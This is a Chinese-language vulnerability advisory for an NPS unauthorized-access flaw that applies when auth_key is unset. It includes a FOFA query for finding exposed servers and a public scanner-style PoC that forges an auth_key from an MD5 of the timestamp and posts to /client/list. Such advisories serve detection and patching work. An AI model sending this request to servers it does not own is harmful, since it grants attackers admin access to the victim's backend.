nps-auth-key-unauthorized-access: NPS auth_key 未授权访问漏洞

日期: 2025-09-01 | 影响软件: nps | POC: 已公开

漏洞描述

NPS auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限 fofa-query: body="serializeArray()" && body="/login/verify"

PoC代码[已公开]

id: nps-auth-key-unauthorized-access

info:
  name: NPS auth_key 未授权访问漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    NPS auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限
    fofa-query: body="serializeArray()" && body="/login/verify"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/NPS%20auth_key%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.md

set:
  tstamp: timestamp_second(0)
  auth_key: md5(tstamp)
rules:
  r0:
    request:
      method: POST
      path: /client/list
      body: |
        search=&order=asc&offset=0&limit=10&auth_key={{auth_key}}&timestamp={{tstamp}}
    expression: response.status == 200 && response.body.bcontains(b'"bridgePort":') && response.body.bcontains(b'"bridgeType":')
expression: r0()

相关漏洞推荐